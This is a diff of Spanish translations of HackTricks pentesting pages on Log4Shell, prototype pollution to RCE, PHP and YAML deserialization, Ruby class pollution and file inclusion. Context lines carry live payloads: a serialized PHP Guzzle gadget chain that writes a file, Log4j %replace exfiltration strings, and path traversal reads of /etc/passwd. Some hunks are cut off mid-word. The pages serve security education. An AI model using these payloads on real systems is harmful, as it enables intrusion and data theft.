-> Además, no puedes encontrar el código fuente en wayback machine, así que analiza el código fuente o ejecuta el jar sabiendo que no sabes qué estás ejecutando.
+> Además, no puedes encontrar el código fuente en wayback machine, así que analiza el código fuente o ejecuta el jar sabiendo que no sabes lo que estás ejecutando.
Para este ejemplo, puedes simplemente ejecutar este **servidor web vulnerable a log4shell** en el puerto 8080: [https://github.com/christophetd/log4shell-vulnerable-app](https://github.com/christophetd/log4shell-vulnerable-app) (_en el README encontrarás cómo ejecutarlo_). Esta aplicación vulnerable está registrando con una versión vulnerable de log4shell el contenido del encabezado de la solicitud HTTP _X-Api-Version_.
@@ -292,11 +292,11 @@ _Este ataque utilizando un objeto java generado de forma personalizada funcionar
### RCE - JNDI-Injection-Exploit-Plus
-[https://github.com/cckuailong/JNDI-Injection-Exploit-Plus](https://github.com/cckuailong/JNDI-Injection-Exploit-Plus) es otra herramienta para generar **enlaces JNDI funcionales** y proporcionar servicios de fondo iniciando un servidor RMI, un servidor LDAP y un servidor HTTP.\
+[https://github.com/cckuailong/JNDI-Injection-Exploit-Plus](https://github.com/cckuailong/JNDI-Injection-Exploit-Plus) es otra herramienta para generar **enlaces JNDI funcionales** y proporcionar servicios de fondo iniciando un servidor RMI, servidor LDAP y servidor HTTP.\
### RCE - ysoserial & JNDI-Exploit-Kit
-Esta opción es realmente útil para atacar **versiones de Java configuradas para confiar solo en clases específicas y no en todas**. Por lo tanto, **ysoserial** se utilizará para generar **serializaciones de clases de confianza** que pueden ser utilizadas como gadgets para **ejecutar código arbitrario** (_la clase de confianza abusada por ysoserial debe ser utilizada por el programa java de la víctima para que el exploit funcione_).
+Esta opción es realmente útil para atacar **versiones de Java configuradas para confiar solo en clases especificadas y no en todas**. Por lo tanto, **ysoserial** se utilizará para generar **serializaciones de clases de confianza** que pueden ser utilizadas como gadgets para **ejecutar código arbitrario** (_la clase de confianza abusada por ysoserial debe ser utilizada por el programa java de la víctima para que el exploit funcione_).
Usando **ysoserial** o [**ysoserial-modified**](https://github.com/pimps/ysoserial-modified) puedes crear el exploit de deserialización que será descargado por JNDI:
```bash
@@ -332,7 +332,7 @@ ${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i"
- [https://github.com/Qualys/log4jscanwin](https://github.com/Qualys/log4jscanwin)
- [https://github.com/hillu/local-log4j-vuln-scanner](https://github.com/hillu/local-log4j-vuln-scanner)
- [https://github.com/logpresso/CVE-2021-44228-Scanner](https://github.com/logpresso/CVE-2021-44228-Scanner)
-- [https://github.com/palantir/log4j-sniffer](https://github.com/palantir/log4j-sniffer) - Encontrar bibliotecas vulnerables locales
+- [https://github.com/palantir/log4j-sniffer](https://github.com/palantir/log4j-sniffer) - Encuentra bibliotecas vulnerables locales
### Laboratorios para probar
@@ -343,7 +343,7 @@ ${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i"
## Explotación Post-Log4Shell
-En este [**CTF writeup**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/) se explica bien cómo es **potencialmente posible** **abusar** de algunas características de **Log4J**.
+En este [**CTF writeup**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/) se explica bien cómo es **posible** **abusar** de algunas características de **Log4J**.
La [**página de seguridad**](https://logging.apache.org/log4j/2.x/security.html) de Log4j tiene algunas frases interesantes:
@@ -353,40 +353,14 @@ La [**página de seguridad**](https://logging.apache.org/log4j/2.x/security.html
Esto significa que por defecto puedes **olvidarte de usar cualquier exploit `jndi`**. Además, para realizar **búsquedas recursivas** necesitas tenerlas configuradas.
-Por ejemplo, en ese CTF esto se configuró en el archivo log4j2.xml:
+Por ejemplo, en ese CTF esto estaba configurado en el archivo log4j2.xml:
```xml
```
-### Búsquedas de Entorno
-
-En [este CTF](https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/) el atacante controlaba el valor de `${sys:cmd}` y necesitaba exfiltrar la bandera de una variable de entorno.\
-Como se ve en esta página en [**cargas útiles anteriores**](jndi-java-naming-and-directory-interface-and-log4shell.md#verification) hay diferentes formas de acceder a las variables de entorno, como: **`${env:FLAG}`**. En este CTF esto fue inútil, pero podría no serlo en otros escenarios de la vida real.
-
-### Exfiltración en Excepciones
-
-En el CTF, **no podías acceder al stderr** de la aplicación java usando log4J, pero las **excepciones de Log4J se envían a stdout**, que se imprimieron en la aplicación de python. Esto significaba que al provocar una excepción podíamos acceder al contenido. Una excepción para exfiltrar la bandera fue: **`${java:${env:FLAG}}`.** Esto funciona porque **`${java:CTF{blahblah}}`** no existe y se mostrará una excepción con el valor de la bandera:
-
-.png>)
-
-### Excepciones de Patrones de Conversión
-
-Solo para mencionarlo, también podrías inyectar nuevos [**patrones de conversión**](https://logging.apache.org/log4j/2.x/manual/layouts.html#PatternLayout) y provocar excepciones que se registrarán en `stdout`. Por ejemplo:
-
-.png>)
-
-Esto no se encontró útil para exfiltrar datos dentro del mensaje de error, porque la búsqueda no se resolvió antes del patrón de conversión, pero podría ser útil para otras cosas como la detección.
-
-### Expresiones Regulares de Patrones de Conversión
-
-Sin embargo, es posible usar algunos **patrones de conversión que soportan expresiones regulares** para exfiltrar información de una búsqueda utilizando expresiones regulares y abusando de **búsqueda binaria** o comportamientos **basados en tiempo**.
-
-- **Búsqueda binaria a través de mensajes de excepción**
-
-El patrón de conversión **`%replace`** se puede usar para **reemplazar** **contenido** de una **cadena** incluso usando **expresiones regulares**. Funciona así: `replace{pattern}{regex}{substitution}`\
-Abusando de este comportamiento podrías hacer que el reemplazo **provocara una excepción si la expresión regular coincidía** con algo dentro de la cadena (y sin excepción si no se encontraba) así:
+### Bús
```bash
%replace{${env:FLAG}}{^CTF.*}{${error}}
# The string searched is the env FLAG, the regex searched is ^CTF.*
@@ -397,7 +371,7 @@ Abusando de este comportamiento podrías hacer que el reemplazo **provocara una
Como se mencionó en la sección anterior, **`%replace`** soporta **regexes**. Por lo tanto, es posible usar un payload de la [**página de ReDoS**](../regular-expression-denial-of-service-redos.md) para causar un **timeout** en caso de que se encuentre la bandera.\
Por ejemplo, un payload como `%replace{${env:FLAG}}{^(?=CTF)((.`_`)`_`)*salt$}{asd}` desencadenaría un **timeout** en ese CTF.
-En este [**escrito**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/), en lugar de usar un ataque ReDoS, se utilizó un **ataque de amplificación** para causar una diferencia de tiempo en la respuesta:
+En este [**informe**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/), en lugar de usar un ataque ReDoS, se utilizó un **ataque de amplificación** para causar una diferencia de tiempo en la respuesta:
> ```
> /%replace{
@@ -416,9 +390,9 @@ En este [**escrito**](https://intrigus.org/research/2022/07/18/google-ctf-2022-l
> }{#}{######################################################}
> ```
>
-> Si la bandera comienza con `flagGuess`, toda la bandera se reemplaza con 29 `#`-s (utilicé este carácter porque probablemente no formaría parte de la bandera). **Cada uno de los 29 `#`-s resultantes se reemplaza luego por 54 `#`-s**. Este proceso se repite **6 veces**, lo que lleva a un total de ` 29*54*54^6* =`` `` `**`96816014208`** **`#`-s!**
+> Si la bandera comienza con `flagGuess`, toda la bandera es reemplazada por 29 `#`-s (usé este carácter porque probablemente no formaría parte de la bandera). **Cada uno de los 29 `#`-s resultantes es luego reemplazado por 54 `#`-s**. Este proceso se repite **6 veces**, llevando a un total de ` 29*54*54^6* =`` `` `**`96816014208`** **`#`-s!**
>
-> Reemplazar tantos `#`-s desencadenará el timeout de 10 segundos de la aplicación Flask, lo que a su vez resultará en que se envíe el código de estado HTTP 500 al usuario. (Si la bandera no comienza con `flagGuess`, recibiremos un código de estado que no es 500)
+> Reemplazar tantos `#`-s desencadenará el timeout de 10 segundos de la aplicación Flask, lo que a su vez resultará en que el código de estado HTTP 500 sea enviado al usuario. (Si la bandera no comienza con `flagGuess`, recibiremos un código de estado que no es 500)
## Referencias
diff --git a/src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/README.md b/src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/README.md
index 21b0c712d..286c21789 100644
--- a/src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/README.md
+++ b/src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/README.md
@@ -144,7 +144,7 @@ console.log(key1 + "." + key2)
```
### Contaminación de elementos de matriz
-Note que así como puede contaminar atributos de objetos en JS, si tiene acceso para contaminar una matriz, también puede **contaminar valores de la matriz** accesibles **por índices** (tenga en cuenta que no puede sobrescribir valores, por lo que necesita contaminar índices que se utilicen de alguna manera pero no se escriban).
+Tenga en cuenta que, así como puede contaminar atributos de objetos en JS, si tiene acceso para contaminar una matriz, también puede **contaminar valores de la matriz** accesibles **por índices** (tenga en cuenta que no puede sobrescribir valores, por lo que necesita contaminar índices que se utilicen de alguna manera pero no se escriban).
```javascript
c = [1, 2]
a = []
@@ -218,7 +218,7 @@ client-side-prototype-pollution.md
$.extend(true, {}, JSON.parse('{"__proto__": {"devMode": true}}'))
console.log({}.devMode) // Outputs: true
```
-Esta vulnerabilidad, identificada como CVE-2019–11358, ilustra cómo una copia profunda puede modificar inadvertidamente el prototipo, lo que lleva a riesgos de seguridad potenciales, como acceso no autorizado de administrador si propiedades como `isAdmin` se verifican sin una verificación adecuada de existencia.
+Esta vulnerabilidad, identificada como CVE-2019–11358, ilustra cómo una copia profunda puede modificar inadvertidamente el prototipo, lo que lleva a posibles riesgos de seguridad, como acceso no autorizado de administrador si propiedades como `isAdmin` se verifican sin una verificación adecuada de existencia.
### CVE-2018–3721, CVE-2019–10744: Ataque de contaminación de prototipos a través de lodash
@@ -353,6 +353,4 @@ Para reducir el riesgo de contaminación del prototipo, se pueden emplear las si
- [https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/)
- [https://dev.to/caffiendkitten/prototype-inheritance-pollution-2o5l](https://dev.to/caffiendkitten/prototype-inheritance-pollution-2o5l)
- [https://itnext.io/prototype-pollution-attack-on-nodejs-applications-94a8582373e7](https://itnext.io/prototype-pollution-attack-on-nodejs-applications-94a8582373e7)
-- [https://blog.p6.is/AST-Injection/](https://blog.p6.is/AST-Injection/)
-
-{{#include ../../../banners/hacktricks-training.md}}
+- [https://blog.p6.is/AST-Injection/](https://blog.p
diff --git a/src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/client-side-prototype-pollution.md b/src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/client-side-prototype-pollution.md
index 9f73d7aca..a9468c446 100644
--- a/src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/client-side-prototype-pollution.md
+++ b/src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/client-side-prototype-pollution.md
@@ -6,7 +6,7 @@
Las herramientas [**https://github.com/dwisiswant0/ppfuzz**](https://github.com/dwisiswant0/ppfuzz?tag=v1.0.0)**,** [**https://github.com/kleiton0x00/ppmap**](https://github.com/kleiton0x00/ppmap) **y** [**https://github.com/kosmosec/proto-find**](https://github.com/kosmosec/proto-find) se pueden usar para **encontrar vulnerabilidades de contaminación de prototipos**.
-Además, también podrías usar la **extensión del navegador** [**PPScan**](https://github.com/msrkp/PPScan) para **escanear** automáticamente las **páginas** que **accedes** en busca de vulnerabilidades de contaminación de prototipos.
+Además, también podrías usar la **extensión del navegador** [**PPScan**](https://github.com/msrkp/PPScan) para **escanear automáticamente** las **páginas** que **accedes** en busca de vulnerabilidades de contaminación de prototipos.
### Depuración de dónde se usa una propiedad
```javascript
diff --git a/src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/prototype-pollution-to-rce.md b/src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/prototype-pollution-to-rce.md
index a5a21fb9d..989eb2c27 100644
--- a/src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/prototype-pollution-to-rce.md
+++ b/src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/prototype-pollution-to-rce.md
@@ -37,11 +37,11 @@ clone(USERINPUT)
// Create an a_file.js file in the current dir: `echo a=2 > a_file.js`
var proc = fork("a_file.js")
```
-## PP2RCE a través de variables de entorno
+## PP2RCE a través de vars de entorno
**PP2RCE** significa **Contaminación de Prototipos a RCE** (Ejecución Remota de Código).
-Según este [**informe**](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/), cuando un **proceso es generado** con algún método de **`child_process`** (como `fork` o `spawn` u otros), llama al método `normalizeSpawnArguments`, que es un **gadget de contaminación de prototipos para crear nuevas variables de entorno**:
+Según este [**informe**](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/), cuando un **proceso es generado** con algún método de **`child_process`** (como `fork` o `spawn` u otros), llama al método `normalizeSpawnArguments`, que es un **gadget de contaminación de prototipos para crear nuevas vars de entorno**:
```javascript
//See code in https://github.com/nodejs/node/blob/02aa8c22c26220e16616a88370d111c0229efe5e/lib/child_process.js#L638-L686
@@ -124,7 +124,7 @@ var proc = fork("a_file.js")
Un payload similar al anterior con algunos cambios fue propuesto en [**este artículo**](https://blog.sonarsource.com/blitzjs-prototype-pollution/)**.** Las principales diferencias son:
-- En lugar de almacenar el **payload** de nodejs dentro del archivo `/proc/self/environ`, lo almacena **dentro de argv0** de **`/proc/self/cmdline`**.
+- En lugar de almacenar el **payload** de nodejs dentro del archivo `/proc/self/environ`, lo almacena i**nside argv0** de **`/proc/self/cmdline`**.
- Luego, en lugar de requerir a través de **`NODE_OPTIONS`** el archivo `/proc/self/environ`, **requiere `/proc/self/cmdline`**.
```javascript
const { execSync, fork } = require("child_process")
@@ -171,7 +171,7 @@ O, para evitar que los WAFs pidan el dominio:
}
}
```
-## PP2RCE vuln funciones child_process
+## PP2RCE vuln child_process functions
En esta sección vamos a analizar **cada función de `child_process`** para ejecutar código y ver si podemos usar alguna técnica para forzar que esa función ejecute código:
@@ -414,7 +414,7 @@ var proc = execSync("something")
-spawnSync explotación
+Explotación de spawnSync
```javascript
// environ trick - working with small variation (shell and argv0)
// NOT working after kEmptyObject (fix) without options
@@ -461,9 +461,9 @@ var proc = spawnSync("something")
```
-## Forzar Spawn
+## Forzando Spawn
-En los ejemplos anteriores, viste cómo activar el gadget; una funcionalidad que **llama a `spawn`** necesita estar **presente** (todos los métodos de **`child_process`** utilizados para ejecutar algo lo llaman). En el ejemplo anterior, eso era **parte del código**, pero ¿qué pasa si el código **no lo está** llamando?
+En los ejemplos anteriores, viste cómo activar el gadget; una funcionalidad que **llama a `spawn`** necesita estar **presente** (todos los métodos de **`child_process`** utilizados para ejecutar algo lo llaman). En el ejemplo anterior, eso era **parte del código**, pero ¿qué pasa si el código **no** lo está llamando?
### Controlando una ruta de archivo require
@@ -667,8 +667,8 @@ Sin embargo, al igual que los métodos **`child_process`** anteriores, ha sido *
Por favor, ten en cuenta que la contaminación de prototipos funciona si el **atributo** de un objeto que se está accediendo es **undefined**. Si en el **código** ese **atributo** se **establece** un **valor**, **no podrás sobrescribirlo**.
-En junio de 2022, a partir de [**este commit**](https://github.com/nodejs/node/commit/20b0df1d1eba957ea30ba618528debbe02a97c6a), la var `options` en lugar de un `{}` es un **`kEmptyObject`**. Lo que **previene que una contaminación de prototipos** afecte los **atributos** de **`options`** para obtener RCE.\
-Al menos desde la v18.4.0, esta protección ha sido **implementada**, y por lo tanto, los **exploits** de `spawn` y `spawnSync` que afectan los métodos **ya no funcionan** (¡si no se utilizan `options`!).
+En junio de 2022, a partir de [**este commit**](https://github.com/nodejs/node/commit/20b0df1d1eba957ea30ba618528debbe02a97c6a), la variable `options` en lugar de un `{}` es un **`kEmptyObject`**. Lo cual **previene que una contaminación de prototipo** afecte los **atributos** de **`options`** para obtener RCE.\
+Al menos desde v18.4.0, esta protección ha sido **implementada**, y por lo tanto, los **exploits** de `spawn` y `spawnSync` que afectan los métodos **ya no funcionan** (¡si no se utilizan `options`!).
En [**este commit**](https://github.com/nodejs/node/commit/0313102aaabb49f78156cadc1b3492eac3941dd9), la **contaminación de prototipos** de **`contextExtensions`** de la biblioteca vm fue **también en parte arreglada** configurando opciones a **`kEmptyObject`** en lugar de **`{}`.**
diff --git a/src/pentesting-web/deserialization/php-deserialization-+-autoload-classes.md b/src/pentesting-web/deserialization/php-deserialization-+-autoload-classes.md
index a8a94da84..79c2c9f7b 100644
--- a/src/pentesting-web/deserialization/php-deserialization-+-autoload-classes.md
+++ b/src/pentesting-web/deserialization/php-deserialization-+-autoload-classes.md
@@ -1,8 +1,8 @@
-# PHP - Deserialización + Clases de Autocarga
+# PHP - Deserialización + Carga Automática de Clases
{{#include ../../banners/hacktricks-training.md}}
-Primero, debes verificar qué son [**Clases de Autocarga**](https://www.php.net/manual/en/language.oop5.autoload.php).
+Primero, debes verificar qué son [**Clases de Carga Automática**](https://www.php.net/manual/en/language.oop5.autoload.php).
## Deserialización de PHP + spl_autoload_register + LFI/Gadget
@@ -41,10 +41,10 @@ require __DIR__ . $filename;
En mi caso, no tenía nada como eso, pero había dentro del **mismo contenedor** otra página web de composer con una **biblioteca vulnerable a un gadget `phpggc`**.
- Para cargar esta otra biblioteca, primero necesitas **cargar el cargador de composer de esa otra aplicación web** (porque el de la aplicación actual no accederá a las bibliotecas de la otra). **Conociendo la ruta de la aplicación**, puedes lograr esto muy fácilmente con: **`O:28:"www_frontend_vendor_autoload":0:{}`** (En mi caso, el cargador de composer estaba en `/www/frontend/vendor/autoload.php`)
-- Ahora, puedes **cargar** el **cargador de composer de la otra app**, así que es hora de **`generar la carga útil de phpgcc`** para usar. En mi caso, utilicé **`Guzzle/FW1`**, que me permitió **escribir cualquier archivo dentro del sistema de archivos**.
-- NOTA: La **carga útil generada no funcionaba**, para que funcionara **modifiqué** esa carga útil **`chain.php`** de phpggc y establecí **todos los atributos** de las clases **de privados a públicos**. Si no, después de deserializar la cadena, los atributos de los objetos creados no tenían ningún valor.
-- Ahora tenemos la forma de **cargar el cargador de composer de la otra app** y tener una **carga útil de phpggc que funciona**, pero necesitamos **hacer esto en la MISMA SOLICITUD para que el cargador se cargue cuando se use el gadget**. Para eso, envié un array serializado con ambos objetos como:
-- Puedes ver **primero el cargador siendo cargado y luego la carga útil**.
+- Ahora, puedes **cargar** el **cargador de composer de la otra app**, así que es hora de **`generar el payload de phpgcc`** para usar. En mi caso, utilicé **`Guzzle/FW1`**, que me permitió **escribir cualquier archivo dentro del sistema de archivos**.
+- NOTA: El **gadget generado no estaba funcionando**, para que funcionara **modifiqué** ese payload **`chain.php`** de phpggc y establecí **todos los atributos** de las clases **de privado a público**. Si no, después de deserializar la cadena, los atributos de los objetos creados no tenían ningún valor.
+- Ahora tenemos la forma de **cargar el cargador de composer de la otra app** y tener un **payload de phpggc que funciona**, pero necesitamos **hacer esto en la MISMA SOLICITUD para que el cargador se cargue cuando se use el gadget**. Para eso, envié un array serializado con ambos objetos como:
+- Puedes ver **primero el cargador siendo cargado y luego el payload**.
```php
a:2:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}}
```
diff --git a/src/pentesting-web/deserialization/python-yaml-deserialization.md b/src/pentesting-web/deserialization/python-yaml-deserialization.md
index b316c818e..67cb96be5 100644
--- a/src/pentesting-web/deserialization/python-yaml-deserialization.md
+++ b/src/pentesting-web/deserialization/python-yaml-deserialization.md
@@ -45,7 +45,7 @@ print(yaml.unsafe_load_all(data)) #
#The other ways to load data will through an error as they won't even attempt to
#deserialize the python object
```
-El código anterior utilizó **unsafe_load** para cargar la clase de python serializada. Esto se debe a que en **versión >= 5.1**, no permite **deserializar ninguna clase de python serializada o atributo de clase**, sin un Loader especificado en load() o Loader=SafeLoader.
+El código anterior utilizó **unsafe_load** para cargar la clase de python serializada. Esto se debe a que en **version >= 5.1**, no permite **deserializar ninguna clase de python serializada o atributo de clase**, sin un Loader especificado en load() o Loader=SafeLoader.
### Exploit Básico
diff --git a/src/pentesting-web/deserialization/ruby-_json-pollution.md b/src/pentesting-web/deserialization/ruby-_json-pollution.md
index 0ecbf6734..8a0d409f7 100644
--- a/src/pentesting-web/deserialization/ruby-_json-pollution.md
+++ b/src/pentesting-web/deserialization/ruby-_json-pollution.md
@@ -6,7 +6,7 @@ Este es un resumen de la publicación [https://nastystereo.com/security/rails-_j
## Información básica
-Al enviar en un cuerpo algunos valores no hashables como un array, se agregarán a una nueva clave llamada `_json`. Sin embargo, es posible que un atacante también establezca en el cuerpo un valor llamado `_json` con los valores arbitrarios que desee. Luego, si el backend, por ejemplo, verifica la veracidad de un parámetro pero luego también utiliza el parámetro `_json` para realizar alguna acción, se podría llevar a cabo una elusión de autorización.
+Al enviar en un cuerpo algunos valores no hashables como un array, se agregarán a una nueva clave llamada `_json`. Sin embargo, es posible que un atacante también establezca en el cuerpo un valor llamado `_json` con los valores arbitrarios que desee. Luego, si el backend, por ejemplo, verifica la veracidad de un parámetro pero también utiliza el parámetro `_json` para realizar alguna acción, se podría llevar a cabo una elusión de autorización.
```json
{
"id": 123,
diff --git a/src/pentesting-web/deserialization/ruby-class-pollution.md b/src/pentesting-web/deserialization/ruby-class-pollution.md
index fa9889c5a..44aa73d40 100644
--- a/src/pentesting-web/deserialization/ruby-class-pollution.md
+++ b/src/pentesting-web/deserialization/ruby-class-pollution.md
@@ -1,10 +1,10 @@
-# Contaminación de Clases en Ruby
+# Ruby Class Pollution
{{#include ../../banners/hacktricks-training.md}}
Este es un resumen de la publicación [https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html](https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html)
-## Fusión en Atributos
+## Merge on Attributes
Ejemplo:
```ruby
@@ -143,7 +143,7 @@ JSONMergerApp.run(json_input)
```
### Explicación
-1. **Escalación de Privilegios**: El método `authorize` verifica si `to_s` devuelve "Admin." Al inyectar un nuevo atributo `to_s` a través de JSON, un atacante puede hacer que el método `to_s` devuelva "Admin," otorgando privilegios no autorizados.
+1. **Escalamiento de Privilegios**: El método `authorize` verifica si `to_s` devuelve "Admin." Al inyectar un nuevo atributo `to_s` a través de JSON, un atacante puede hacer que el método `to_s` devuelva "Admin," otorgando privilegios no autorizados.
2. **Ejecución Remota de Código**: En `health_check`, `instance_eval` ejecuta métodos listados en `protected_methods`. Si un atacante inyecta nombres de métodos personalizados (como `"puts 1"`), `instance_eval` lo ejecutará, lo que lleva a **ejecución remota de código (RCE)**.
1. Esto solo es posible porque hay una **instrucción `eval` vulnerable** que ejecuta el valor de cadena de ese atributo.
3. **Limitación de Impacto**: Esta vulnerabilidad solo afecta a instancias individuales, dejando otras instancias de `User` y `Admin` sin afectar, limitando así el alcance de la explotación.
@@ -246,7 +246,7 @@ end
json_input = ARGV[0]
JSONMergerApp.run(json_input)
```
-## Envenenar las Clases
+## Poison the Classes
En el siguiente ejemplo es posible encontrar la clase **`Person`**, y las clases **`Admin`** y **`Regular`** que heredan de la clase **`Person`**. También tiene otra clase llamada **`KeySigner`**:
```ruby
diff --git a/src/pentesting-web/file-inclusion/README.md b/src/pentesting-web/file-inclusion/README.md
index 53d88ccfa..68a1b9ed3 100644
--- a/src/pentesting-web/file-inclusion/README.md
+++ b/src/pentesting-web/file-inclusion/README.md
@@ -13,7 +13,7 @@ Funciones **PHP vulnerables**: require, require_once, include, include_once
Una herramienta interesante para explotar esta vulnerabilidad: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
-## Archivos LFI2RCE - Interesantes - Ciegos
+## Ciegas - Interesantes - Archivos LFI2RCE
```python
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ
```
@@ -65,7 +65,7 @@ Esto está **resuelto desde PHP 5.4**
### **Codificación**
-Podrías usar codificaciones no estándar como la codificación doble de URL (y otras):
+Podrías usar codificaciones no estándar como la doble codificación URL (y otras):
```
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
@@ -93,9 +93,9 @@ http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=
3. **Interpretar los Resultados:** La respuesta del servidor indica si la carpeta existe:
- **Error / Sin Salida:** La carpeta `private` probablemente no existe en la ubicación especificada.
- **Contenido de `/etc/passwd`:** La presencia de la carpeta `private` está confirmada.
-4. **Exploración Recursiva:** Las carpetas descubiertas pueden ser investigadas más a fondo en busca de subdirectorios o archivos utilizando la misma técnica o métodos tradicionales de Inclusión de Archivos Locales (LFI).
+4. **Exploración Recursiva:** Las carpetas descubiertas pueden ser investigadas más a fondo en busca de subdirectorios o archivos utilizando la misma técnica o métodos tradicionales de Local File Inclusion (LFI).
-Para explorar directorios en diferentes ubicaciones en el sistema de archivos, ajusta la carga útil en consecuencia. Por ejemplo, para verificar si `/var/www/` contiene un directorio `private` (suponiendo que el directorio actual está a una profundidad de 3), usa:
+Para explorar directorios en diferentes ubicaciones del sistema de archivos, ajusta la carga útil en consecuencia. Por ejemplo, para verificar si `/var/www/` contiene un directorio `private` (suponiendo que el directorio actual está a una profundidad de 3), usa:
```bash
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
```
@@ -121,7 +121,7 @@ http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/pas
```
En estos escenarios, el número de travesías necesarias podría ser alrededor de 2027, pero este número puede variar según la configuración del servidor.
-- **Uso de segmentos de punto y caracteres adicionales**: Las secuencias de travesía (`../`) combinadas con segmentos de punto adicionales y caracteres pueden ser utilizadas para navegar por el sistema de archivos, ignorando efectivamente las cadenas añadidas por el servidor.
+- **Uso de segmentos de punto y caracteres adicionales**: Las secuencias de travesía (`../`) combinadas con segmentos de punto adicionales y caracteres pueden usarse para navegar por el sistema de archivos, ignorando efectivamente las cadenas añadidas por el servidor.
- **Determinando el número requerido de travesías**: A través de prueba y error, se puede encontrar el número preciso de secuencias de `../` necesarias para navegar hasta el directorio raíz y luego a `/etc/passwd`, asegurando que cualquier cadena añadida (como `.php`) sea neutralizada pero que la ruta deseada (`/etc/passwd`) permanezca intacta.
- **Comenzando con un directorio falso**: Es una práctica común comenzar la ruta con un directorio que no existe (como `a/`). Esta técnica se utiliza como medida de precaución o para cumplir con los requisitos de la lógica de análisis de rutas del servidor.
@@ -177,7 +177,7 @@ Parece que si tienes un Path Traversal en Java y **pides un directorio** en luga
## Top 25 parameters
-Aquí hay una lista de los 25 principales parámetros que podrían ser vulnerables a vulnerabilidades de inclusión de archivos locales (LFI) (de [link](https://twitter.com/trbughunters/status/1279768631845494787)):
+Aquí hay una lista de los 25 parámetros principales que podrían ser vulnerables a vulnerabilidades de inclusión de archivos locales (LFI) (de [link](https://twitter.com/trbughunters/status/1279768631845494787)):
```
?cat={payload}
?dir={payload}
@@ -209,13 +209,13 @@ Aquí hay una lista de los 25 principales parámetros que podrían ser vulnerabl
### php://filter
-Los filtros de PHP permiten realizar **operaciones de modificación básicas en los datos** antes de que sean leídos o escritos. Hay 5 categorías de filtros:
+Los filtros PHP permiten realizar **operaciones de modificación básicas en los datos** antes de que sean leídos o escritos. Hay 5 categorías de filtros:
- [String Filters](https://www.php.net/manual/en/filters.string.php):
- `string.rot13`
- `string.toupper`
- `string.tolower`
-- `string.strip_tags`: Elimina las etiquetas de los datos (todo lo que está entre los caracteres "<" y ">")
+- `string.strip_tags`: Elimina etiquetas de los datos (todo lo que está entre los caracteres "<" y ">")
- Ten en cuenta que este filtro ha desaparecido de las versiones modernas de PHP
- [Conversion Filters](https://www.php.net/manual/en/filters.convert.php)
- `convert.base64-encode`
@@ -276,12 +276,12 @@ En la publicación original puedes encontrar una explicación detallada de la t
- Usa el códec **`UCS-4LE`** para dejar el carácter inicial del texto al principio y hacer que el tamaño de la cadena aumente exponencialmente.
- Esto se usará para generar un **texto tan grande cuando la letra inicial se adivine correctamente** que php desencadenará un **error**.
- El filtro **dechunk** **eliminará todo si el primer carácter no es un hexadecimal**, por lo que podemos saber si el primer carácter es hexadecimal.
-- Esto, combinado con el anterior (y otros filtros dependiendo de la letra adivinada), nos permitirá adivinar una letra al principio del texto al ver cuándo hacemos suficientes transformaciones para que no sea un carácter hexadecimal. Porque si es hexadecimal, dechunk no lo eliminará y la bomba inicial hará que php falle.
+- Esto, combinado con lo anterior (y otros filtros dependiendo de la letra adivinada), nos permitirá adivinar una letra al principio del texto al ver cuándo hacemos suficientes transformaciones para que no sea un carácter hexadecimal. Porque si es hexadecimal, dechunk no lo eliminará y la bomba inicial hará que php dé un error.
- El códec **convert.iconv.UNICODE.CP930** transforma cada letra en la siguiente (así que después de este códec: a -> b). Esto nos permite descubrir si la primera letra es una `a`, por ejemplo, porque si aplicamos 6 de este códec a->b->c->d->e->f->g, la letra ya no es un carácter hexadecimal, por lo tanto, dechunk no la elimina y se desencadena el error de php porque se multiplica con la bomba inicial.
- Usando otras transformaciones como **rot13** al principio es posible filtrar otros caracteres como n, o, p, q, r (y se pueden usar otros códecs para mover otras letras al rango hexadecimal).
- Cuando el carácter inicial es un número, es necesario codificarlo en base64 y filtrar las 2 primeras letras para filtrar el número.
- El problema final es ver **cómo filtrar más que la letra inicial**. Al usar filtros de memoria de orden como **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** es posible cambiar el orden de los caracteres y obtener en la primera posición otras letras del texto.
